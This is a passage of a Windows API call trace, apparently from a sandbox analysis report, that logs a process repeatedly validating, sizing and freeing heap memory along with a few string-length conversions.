[0071.901] lstrlenW (lpString="") returned 0 [0071.901] lstrlenW (lpString="7") returned 1 [0071.901] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="7", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0071.901] GetProcessHeap () returned 0x1e0000 [0071.901] GetProcessHeap () returned 0x1e0000 [0071.901] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc470) returned 1 [0071.901] GetProcessHeap () returned 0x1e0000 [0071.901] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fc470) returned 0x1fc [0071.902] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc470 | out: hHeap=0x1e0000) returned 1 [0071.902] GetProcessHeap () returned 0x1e0000 [0071.902] GetProcessHeap () returned 0x1e0000 [0071.902] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5510) returned 1 [0071.902] GetProcessHeap () returned 0x1e0000 [0071.902] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5510) returned 0x4 [0071.902] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5510 | out: hHeap=0x1e0000) returned 1 [0071.902] GetProcessHeap () returned 0x1e0000 [0071.902] GetProcessHeap () returned 0x1e0000 [0071.902] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd640) returned 1 [0071.902] GetProcessHeap () returned 0x1e0000 [0071.902] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fd640) returned 0x16 [0071.902] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd640 | out: hHeap=0x1e0000) returned 1 [0071.902] GetProcessHeap () returned 0x1e0000 [0071.902] GetProcessHeap () returned 0x1e0000 [0071.902] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd620) returned 1 [0071.902] GetProcessHeap () returned 0x1e0000 [0071.902] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fd620) returned 0x18 [0071.902] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd620 | out: hHeap=0x1e0000) returned 1 [0071.902] GetProcessHeap () returned 0x1e0000 [0071.902] GetProcessHeap () returned 0x1e0000 [0071.902] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcef0) returned 1 [0071.903] GetProcessHeap () returned 0x1e0000 [0071.903] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcef0) returned 0x20 [0071.903] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcef0 | out: hHeap=0x1e0000) returned 1 [0071.903] GetProcessHeap () returned 0x1e0000 [0071.903] GetProcessHeap () returned 0x1e0000 [0071.903] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc110) returned 1 [0071.903] GetProcessHeap () returned 0x1e0000 [0071.903] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fc110) returned 0xa0 [0071.904] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc110 | out: hHeap=0x1e0000) returned 1 [0071.904] GetProcessHeap () returned 0x1e0000 [0071.904] GetProcessHeap () returned 0x1e0000 [0071.904] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fbb90) returned 1 [0071.904] GetProcessHeap () returned 0x1e0000 [0071.904] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fbb90) returned 0x18 [0071.904] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fbb90 | out: hHeap=0x1e0000) returned 1 [0071.904] GetProcessHeap () returned 0x1e0000 [0071.904] GetProcessHeap () returned 0x1e0000 [0071.904] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcc50) returned 1 [0071.904] GetProcessHeap () returned 0x1e0000 [0071.904] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcc50) returned 0x20 [0071.904] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcc50 | out: hHeap=0x1e0000) returned 1 [0071.904] GetProcessHeap () returned 0x1e0000 [0071.904] GetProcessHeap () returned 0x1e0000 [0071.905] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f9430) returned 1 [0071.905] GetProcessHeap () returned 0x1e0000 [0071.905] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f9430) returned 0x3c [0071.905] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f9430 | out: hHeap=0x1e0000) returned 1 [0071.905] GetProcessHeap () returned 0x1e0000 [0071.905] GetProcessHeap () returned 0x1e0000 [0071.905] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd660) returned 1 [0071.905] GetProcessHeap () returned 0x1e0000 [0071.905] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fd660) returned 0x18 [0071.905] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd660 | out: hHeap=0x1e0000) returned 1 [0071.905] GetProcessHeap () returned 0x1e0000 [0071.905] GetProcessHeap () returned 0x1e0000 [0071.905] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcc20) returned 1 [0071.905] GetProcessHeap () returned 0x1e0000 [0071.905] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcc20) returned 0x20 [0071.906] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcc20 | out: hHeap=0x1e0000) returned 1 [0071.906] GetProcessHeap () returned 0x1e0000 [0071.906] GetProcessHeap () returned 0x1e0000 [0071.906] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f93e0) returned 1 [0071.906] GetProcessHeap () returned 0x1e0000 [0071.906] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f93e0) returned 0x3e [0071.906] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f93e0 | out: hHeap=0x1e0000) returned 1 [0071.906] GetProcessHeap () returned 0x1e0000 [0071.906] GetProcessHeap () returned 0x1e0000 [0071.906] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd600) returned 1 [0071.906] GetProcessHeap () returned 0x1e0000 [0071.906] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fd600) returned 0x18 [0071.907] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd600 | out: hHeap=0x1e0000) returned 1 [0071.907] GetProcessHeap () returned 0x1e0000 [0071.907] GetProcessHeap () returned 0x1e0000 [0071.907] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcbf0) returned 1 [0071.907] GetProcessHeap () returned 0x1e0000 [0071.907] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcbf0) returned 0x20 [0071.907] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcbf0 | out: hHeap=0x1e0000) returned 1 [0071.907] GetProcessHeap () returned 0x1e0000 [0071.907] GetProcessHeap () returned 0x1e0000 [0071.907] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc450) returned 1 [0071.907] GetProcessHeap () returned 0x1e0000 [0071.907] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fc450) returned 0xe [0071.907] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc450 | out: hHeap=0x1e0000) returned 1 [0071.907] GetProcessHeap () returned 0x1e0000 [0071.907] GetProcessHeap () returned 0x1e0000 [0071.907] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc430) returned 1 [0071.907] GetProcessHeap () returned 0x1e0000 [0071.907] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fc430) returned 0x18 [0071.907] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc430 | out: hHeap=0x1e0000) returned 1 [0071.907] GetProcessHeap () returned 0x1e0000 [0071.907] GetProcessHeap () returned 0x1e0000 [0071.908] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5e20) returned 1 [0071.908] GetProcessHeap () returned 0x1e0000 [0071.908] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5e20) returned 0x20 [0071.908] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5e20 | out: hHeap=0x1e0000) returned 1 [0071.909] GetProcessHeap () returned 0x1e0000 [0071.909] GetProcessHeap () returned 0x1e0000 [0071.909] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fbd10) returned 1 [0071.909] GetProcessHeap () returned 0x1e0000 [0071.909] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fbd10) returned 0x208 [0071.910] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fbd10 | out: hHeap=0x1e0000) returned 1 [0071.910] GetProcessHeap () returned 0x1e0000 [0071.910] GetProcessHeap () returned 0x1e0000 [0071.910] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fbb70) returned 1 [0071.910] GetProcessHeap () returned 0x1e0000 [0071.910] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fbb70) returned 0x18 [0071.910] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fbb70 | out: hHeap=0x1e0000) returned 1 [0071.910] GetProcessHeap () returned 0x1e0000 [0071.910] GetProcessHeap () returned 0x1e0000 [0071.910] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5d30) returned 1 [0071.910] GetProcessHeap () returned 0x1e0000 [0071.910] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5d30) returned 0x20 [0071.911] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5d30 | out: hHeap=0x1e0000) returned 1 [0071.911] GetProcessHeap () returned 0x1e0000 [0071.911] GetProcessHeap () returned 0x1e0000 [0071.911] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd3c0) returned 1 [0071.911] GetProcessHeap () returned 0x1e0000 [0071.911] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fd3c0) returned 0x200 [0071.911] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd3c0 | out: hHeap=0x1e0000) returned 1 [0071.911] GetProcessHeap () returned 0x1e0000 [0071.911] GetProcessHeap () returned 0x1e0000 [0071.911] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fbbb0) returned 1 [0071.911] GetProcessHeap () returned 0x1e0000 [0071.911] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fbbb0) returned 0x18 [0071.911] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fbbb0 | out: hHeap=0x1e0000) returned 1 [0071.911] GetProcessHeap () returned 0x1e0000 [0071.911] GetProcessHeap () returned 0x1e0000 [0071.912] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5ca0) returned 1 [0071.912] GetProcessHeap () returned 0x1e0000 [0071.912] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5ca0) returned 0x20 [0071.912] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5ca0 | out: hHeap=0x1e0000) returned 1 [0071.912] GetProcessHeap () returned 0x1e0000 [0071.912] GetProcessHeap () returned 0x1e0000 [0071.912] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc320) returned 1 [0071.912] GetProcessHeap () returned 0x1e0000 [0071.912] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fc320) returned 0x14 [0071.912] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc320 | out: hHeap=0x1e0000) returned 1 [0071.912] GetProcessHeap () returned 0x1e0000 [0071.912] GetProcessHeap () returned 0x1e0000 [0071.912] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc300) returned 1 [0071.912] GetProcessHeap () returned 0x1e0000 [0071.912] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fc300) returned 0x18 [0071.912] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc300 | out: hHeap=0x1e0000) returned 1 [0071.912] GetProcessHeap () returned 0x1e0000 [0071.912] GetProcessHeap () returned 0x1e0000 [0071.912] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5be0) returned 1 [0071.912] GetProcessHeap () returned 0x1e0000 [0071.912] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5be0) returned 0x20 [0071.913] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5be0 | out: hHeap=0x1e0000) returned 1 [0071.913] GetProcessHeap () returned 0x1e0000 [0071.913] GetProcessHeap () returned 0x1e0000 [0071.913] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc340) returned 1 [0071.913] GetProcessHeap () returned 0x1e0000 [0071.913] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fc340) returned 0x16 [0071.913] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc340 | out: hHeap=0x1e0000) returned 1 [0071.913] GetProcessHeap () returned 0x1e0000 [0071.913] GetProcessHeap () returned 0x1e0000 [0071.913] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc1c0) returned 1 [0071.913] GetProcessHeap () returned 0x1e0000 [0071.913] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fc1c0) returned 0x18 [0071.913] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fc1c0 | out: hHeap=0x1e0000) returned 1 [0071.913] GetProcessHeap () returned 0x1e0000 [0071.913] GetProcessHeap () returned 0x1e0000 [0071.913] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5bb0) returned 1 [0071.913] GetProcessHeap () returned 0x1e0000 [0071.913] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5bb0) returned 0x20 [0071.914] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5bb0 | out: hHeap=0x1e0000) returned 1 [0071.914] GetProcessHeap () returned 0x1e0000 [0071.914] GetProcessHeap () returned 0x1e0000 [0071.914] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fbaf0) returned 1 [0071.914] GetProcessHeap () returned 0x1e0000 [0071.914] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fbaf0) returned 0x2 [0071.914] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fbaf0 | out: hHeap=0x1e0000) returned 1 [0071.914] GetProcessHeap () returned 0x1e0000 [0071.914] GetProcessHeap () returned 0x1e0000 [0071.914] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5a00) returned 1 [0071.914] GetProcessHeap () returned 0x1e0000 [0071.914] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5a00) returned 0x20 [0071.915] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5a00 | out: hHeap=0x1e0000) returned 1 [0071.915] GetProcessHeap () returned 0x1e0000 [0071.915] GetProcessHeap () returned 0x1e0000 [0071.915] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5a30) returned 1 [0071.915] GetProcessHeap () returned 0x1e0000 [0071.915] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5a30) returned 0x20 [0071.915] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5a30 | out: hHeap=0x1e0000) returned 1 [0071.915] GetProcessHeap () returned 0x1e0000 [0071.915] GetProcessHeap () returned 0x1e0000 [0071.915] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5a60) returned 1 [0071.915] GetProcessHeap () returned 0x1e0000 [0071.915] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5a60) returned 0x20 [0071.916] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5a60 | out: hHeap=0x1e0000) returned 1 [0071.916] GetProcessHeap () returned 0x1e0000 [0071.916] GetProcessHeap () returned 0x1e0000 [0071.916] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5a90) returned 1 [0071.916] GetProcessHeap () returned 0x1e0000 [0071.916] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5a90) returned 0x20 [0071.916] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5a90 | out: hHeap=0x1e0000) returned 1 [0071.916] GetProcessHeap () returned 0x1e0000 [0071.916] GetProcessHeap () returned 0x1e0000 [0071.916] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcc80) returned 1 [0071.916] GetProcessHeap () returned 0x1e0000 [0071.916] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcc80) returned 0x20 [0071.917] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcc80 | out: hHeap=0x1e0000) returned 1 [0071.917] GetProcessHeap () returned 0x1e0000 [0071.917] GetProcessHeap () returned 0x1e0000 [0071.917] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd760) returned 1 [0071.917] GetProcessHeap () returned 0x1e0000 [0071.917] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fd760) returned 0xa [0071.917] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd760 | out: hHeap=0x1e0000) returned 1 [0071.917] GetProcessHeap () returned 0x1e0000 [0071.917] GetProcessHeap () returned 0x1e0000 [0071.917] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fccb0) returned 1 [0071.917] GetProcessHeap () returned 0x1e0000 [0071.917] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fccb0) returned 0x20 [0071.918] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fccb0 | out: hHeap=0x1e0000) returned 1 [0071.918] GetProcessHeap () returned 0x1e0000 [0071.918] GetProcessHeap () returned 0x1e0000 [0071.918] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f7b90) returned 1 [0071.918] GetProcessHeap () returned 0x1e0000 [0071.918] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f7b90) returned 0x30 [0071.918] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f7b90 | out: hHeap=0x1e0000) returned 1 [0071.918] GetProcessHeap () returned 0x1e0000 [0071.918] GetProcessHeap () returned 0x1e0000 [0071.918] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcce0) returned 1 [0071.918] GetProcessHeap () returned 0x1e0000 [0071.918] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcce0) returned 0x20 [0071.918] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcce0 | out: hHeap=0x1e0000) returned 1 [0071.919] GetProcessHeap () returned 0x1e0000 [0071.919] GetProcessHeap () returned 0x1e0000 [0071.919] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f7bd0) returned 1 [0071.919] GetProcessHeap () returned 0x1e0000 [0071.919] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f7bd0) returned 0x30 [0071.919] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f7bd0 | out: hHeap=0x1e0000) returned 1 [0071.919] GetProcessHeap () returned 0x1e0000 [0071.919] GetProcessHeap () returned 0x1e0000 [0071.919] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcec0) returned 1 [0071.919] GetProcessHeap () returned 0x1e0000 [0071.919] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcec0) returned 0x20 [0071.919] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcec0 | out: hHeap=0x1e0000) returned 1 [0071.919] GetProcessHeap () returned 0x1e0000 [0071.919] GetProcessHeap () returned 0x1e0000 [0071.919] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd680) returned 1 [0071.919] GetProcessHeap () returned 0x1e0000 [0071.919] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fd680) returned 0x10 [0071.919] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd680 | out: hHeap=0x1e0000) returned 1 [0071.919] GetProcessHeap () returned 0x1e0000 [0071.919] GetProcessHeap () returned 0x1e0000 [0071.920] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fce90) returned 1 [0071.920] GetProcessHeap () returned 0x1e0000 [0071.920] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fce90) returned 0x20 [0071.920] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fce90 | out: hHeap=0x1e0000) returned 1 [0071.920] GetProcessHeap () returned 0x1e0000 [0071.920] GetProcessHeap () returned 0x1e0000 [0071.920] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd6a0) returned 1 [0071.920] GetProcessHeap () returned 0x1e0000 [0071.920] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fd6a0) returned 0x10 [0071.920] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd6a0 | out: hHeap=0x1e0000) returned 1 [0071.920] GetProcessHeap () returned 0x1e0000 [0071.920] GetProcessHeap () returned 0x1e0000 [0071.920] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fce60) returned 1 [0071.920] GetProcessHeap () returned 0x1e0000 [0071.920] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fce60) returned 0x20 [0071.920] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fce60 | out: hHeap=0x1e0000) returned 1 [0071.920] GetProcessHeap () returned 0x1e0000 [0071.921] GetProcessHeap () returned 0x1e0000 [0071.921] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd6c0) returned 1 [0071.921] GetProcessHeap () returned 0x1e0000 [0071.921] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fd6c0) returned 0xe [0071.921] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd6c0 | out: hHeap=0x1e0000) returned 1 [0071.921] GetProcessHeap () returned 0x1e0000 [0071.921] GetProcessHeap () returned 0x1e0000 [0071.921] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fce30) returned 1 [0071.921] GetProcessHeap () returned 0x1e0000 [0071.921] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fce30) returned 0x20 [0071.921] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fce30 | out: hHeap=0x1e0000) returned 1 [0071.921] GetProcessHeap () returned 0x1e0000 [0071.921] GetProcessHeap () returned 0x1e0000 [0071.921] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd6e0) returned 1 [0071.921] GetProcessHeap () returned 0x1e0000 [0071.921] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fd6e0) returned 0x16 [0071.921] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd6e0 | out: hHeap=0x1e0000) returned 1 [0071.921] GetProcessHeap () returned 0x1e0000 [0071.921] GetProcessHeap () returned 0x1e0000 [0071.921] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fce00) returned 1 [0071.921] GetProcessHeap () returned 0x1e0000 [0071.921] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fce00) returned 0x20 [0071.922] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fce00 | out: hHeap=0x1e0000) returned 1 [0071.922] GetProcessHeap () returned 0x1e0000 [0071.922] GetProcessHeap () returned 0x1e0000 [0071.922] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd700) returned 1 [0071.922] GetProcessHeap () returned 0x1e0000 [0071.922] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fd700) returned 0x16 [0071.922] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd700 | out: hHeap=0x1e0000) returned 1 [0071.922] GetProcessHeap () returned 0x1e0000 [0071.922] GetProcessHeap () returned 0x1e0000 [0071.922] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcdd0) returned 1 [0071.922] GetProcessHeap () returned 0x1e0000 [0071.922] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcdd0) returned 0x20 [0071.922] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcdd0 | out: hHeap=0x1e0000) returned 1 [0071.922] GetProcessHeap () returned 0x1e0000 [0071.922] GetProcessHeap () returned 0x1e0000 [0071.922] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x219be0) returned 1 [0071.922] GetProcessHeap () returned 0x1e0000 [0071.922] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x219be0) returned 0x82 [0071.923] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x219be0 | out: hHeap=0x1e0000) returned 1 [0071.923] GetProcessHeap () returned 0x1e0000 [0071.923] GetProcessHeap () returned 0x1e0000 [0071.923] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcda0) returned 1 [0071.923] GetProcessHeap () returned 0x1e0000 [0071.923] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcda0) returned 0x20 [0071.923] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcda0 | out: hHeap=0x1e0000) returned 1 [0071.923] GetProcessHeap () returned 0x1e0000 [0071.924] GetProcessHeap () returned 0x1e0000 [0071.924] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd740) returned 1 [0071.924] GetProcessHeap () returned 0x1e0000 [0071.924] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fd740) returned 0xe [0071.924] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fd740 | out: hHeap=0x1e0000) returned 1 [0071.924] GetProcessHeap () returned 0x1e0000 [0071.924] GetProcessHeap () returned 0x1e0000 [0071.924] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcd70) returned 1 [0071.924] GetProcessHeap () returned 0x1e0000 [0071.924] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcd70) returned 0x20 [0071.924] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcd70 | out: hHeap=0x1e0000) returned 1 [0071.924] GetProcessHeap () returned 0x1e0000 [0071.924] GetProcessHeap () returned 0x1e0000 [0071.924] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fbb10) returned 1 [0071.924] GetProcessHeap () returned 0x1e0000 [0071.924] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fbb10) returned 0x18 [0071.925] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fbb10 | out: hHeap=0x1e0000) returned 1 [0071.925] GetProcessHeap () returned 0x1e0000 [0071.925] GetProcessHeap () returned 0x1e0000 [0071.925] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5ac0) returned 1 [0071.925] GetProcessHeap () returned 0x1e0000 [0071.925] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5ac0) returned 0x20 [0071.925] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5ac0 | out: hHeap=0x1e0000) returned 1 [0071.926] GetProcessHeap () returned 0x1e0000 [0071.926] GetProcessHeap () returned 0x1e0000 [0071.926] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5af0) returned 1 [0071.926] GetProcessHeap () returned 0x1e0000 